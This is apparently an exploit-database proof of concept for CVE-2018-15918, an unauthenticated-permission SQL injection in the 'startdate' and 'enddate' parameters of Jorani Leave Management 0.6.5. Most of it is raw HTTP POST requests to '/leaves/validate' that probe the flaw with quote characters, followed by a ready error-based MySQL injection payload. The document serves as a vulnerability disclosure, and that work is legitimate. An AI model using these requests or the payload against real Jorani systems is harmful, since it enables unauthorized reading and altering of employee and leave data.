70 lines
No EOL
2.9 KiB
Text
70 lines
No EOL
2.9 KiB
Text
# Exploit Title: Jorani Leave Management 0.6.5 – 'startdate' SQL Injection
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# Exploit Author: Javier Olmedo
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# Website: https://hackpuntes.com
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# Date: 2018-09-06
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# Google Dork: N/A
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# Vendor: Benjamin BALET
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# Software Link: https://jorani.org/download.html
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# Affected Version: 0.6.5 and possibly before
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# Patched Version: unpatched
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# Category: Web Application
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# Platform: Windows
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# Tested on: Win10x64 & Kali Linux
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# CVE: 2018-15918
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# Reference:
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# https://hackpuntes.com/cve-2018-15918-jorani-leave-management-system-0-6-5-sql-injection/
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# https://github.com/bbalet/jorani/issues/254
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# 1. Technical Description:
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# Jorani Leave Management System 0.6.5 and possibly before are affected by SQL Injection in startdate
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# and enddate parameters through POST request in "/leaves/validate" resource.
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# This allows a user of the application without permissions to read and modify sensitive information from
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# the database used by the application.
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# 2. Proof Of Concept (PoC):
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# 2.1 The following POST request generates an error 500 in the Application (add ' in startdate parameter)
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---
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POST /leaves/validate HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
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Accept: */*
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Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate
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Referer: http://localhost/leaves/create
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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X-Requested-With: XMLHttpRequest
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Content-Length: 167
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Cookie: csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd; jorani_session=r8ofjpch4g93t6563t7ols6fBkeeommo;
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Connection: close
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csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd&id=1&type=compensate&startdate=2018-08-02'&enddate=2018-08-03
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&startdatetype=Morning&enddatetype=Afternoon&leave_id=
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---
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# 2.2 In another request, add two ' to receive a code 200 OK
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---
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POST /leaves/validate HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
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Accept: */*
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Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate
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Referer: http://localhost/leaves/create
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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X-Requested-With: XMLHttpRequest
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Content-Length: 167
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Cookie: csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd; jorani_session=r8ofjpch4g93t6563t7ols6fBkeeommo;
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Connection: close
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csrf_cookie_jorani=521d82ffceaee171d5ff3c5c817c3dfd&id=1&type=compensate&startdate=2018-08-02''&enddate=2018-08-03
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&startdatetype=Morning&enddatetype=Afternoon&leave_id=
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---
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# 3. Payload:
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# Parameters: startdate and enddate (POST)
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# Type: error-based
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# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
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# Payload:
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id=1&type=compensate&startdate=2018-08-02&enddate=2018-08-03') AND (SELECT 2138 FROM (SELECT COUNT(*),CONCAT(0x7178787071,
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(SELECT (ELT(2138=2138,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
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('WfLI'='WfLI&startdatetype=Morning&enddatetype=Afternoon&leave_id= |